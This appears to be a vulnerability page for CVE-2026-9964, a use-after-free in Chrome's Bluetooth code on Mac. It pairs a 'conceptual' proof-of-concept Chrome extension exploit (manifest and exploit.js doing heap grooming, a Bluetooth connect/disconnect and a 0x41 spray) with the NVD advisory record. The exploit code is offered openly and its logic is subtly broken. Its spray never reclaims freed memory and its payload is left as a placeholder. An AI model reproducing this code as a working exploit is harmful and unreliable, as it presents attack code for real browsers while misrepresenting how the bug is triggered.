CVE-2026-9964

// Conceptual PoC for CVE-2026-9964 // This is a simplified representation of the exploitation logic. // Requires installation as a Chrome Extension with appropriate permissions. // manifest.json snippet /* { "name": "Bluetooth UAF Exploit", "version": "1.0", "manifest_version": 3, "background": { "service_worker": "exploit.js" }, "permissions": ["bluetooth"] } */ // exploit.js async function triggerExploit() { try { console.log("[+] Starting CVE-2026-9964 PoC..."); // Step 1: Heap Grooming - Prepare memory layout // Allocating buffers to occupy memory space near the target object const groomSize = 1000; const groomers = []; for (let i = 0; i < groomSize; i++) { groomers.push(new Uint8Array(0x1000)); } // Step 2: Trigger the vulnerable Bluetooth object creation // Requesting a Bluetooth device to instantiate the internal object const device = await navigator.bluetooth.requestDevice({ acceptAllDevices: true, optionalServices: ['battery_service'] }); // Step 3: Trigger the Free operation // Simulating a condition where the object is freed but the reference remains // This specific sequence depends on the Chromium internal implementation const server = await device.gatt.connect(); // Assuming a disconnection or specific call triggers the UAF bug server.disconnect(); // Step 4: Reclaim the freed memory with malicious payload // In a real exploit, this would be ROP chains or shellcode groomers.forEach((buf, index) => { if (index === groomSize - 1) { // Spray the freed memory slot buf.fill(0x41); // 'AAAA...' } }); // Step 5: Use-After-Free - Trigger code execution // Accessing the dangling pointer to execute arbitrary code if (server.device) { console.log("[!] Accessing freed object (Crash or Exploit)"); // The program attempts to use the freed object here } } catch (error) { console.error("[-] Exploit failed:", error); } } triggerExploit();

{"cve": {"id": "CVE-2026-9964", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:54.623", "lastModified": "2026-05-29T20:33:33.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Bluetooth in Google Chrome on Mac prior to 148.0.7778.216 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code via a crafted Chrome Extension. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.216", "matchCriteriaId": "E59192D9-BF13-4B43-B69F-869A6BF83955"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://issues.chromium.org/issues/505190999", "source": "[email protected]", "tags": ["Permissions Required"]}]}}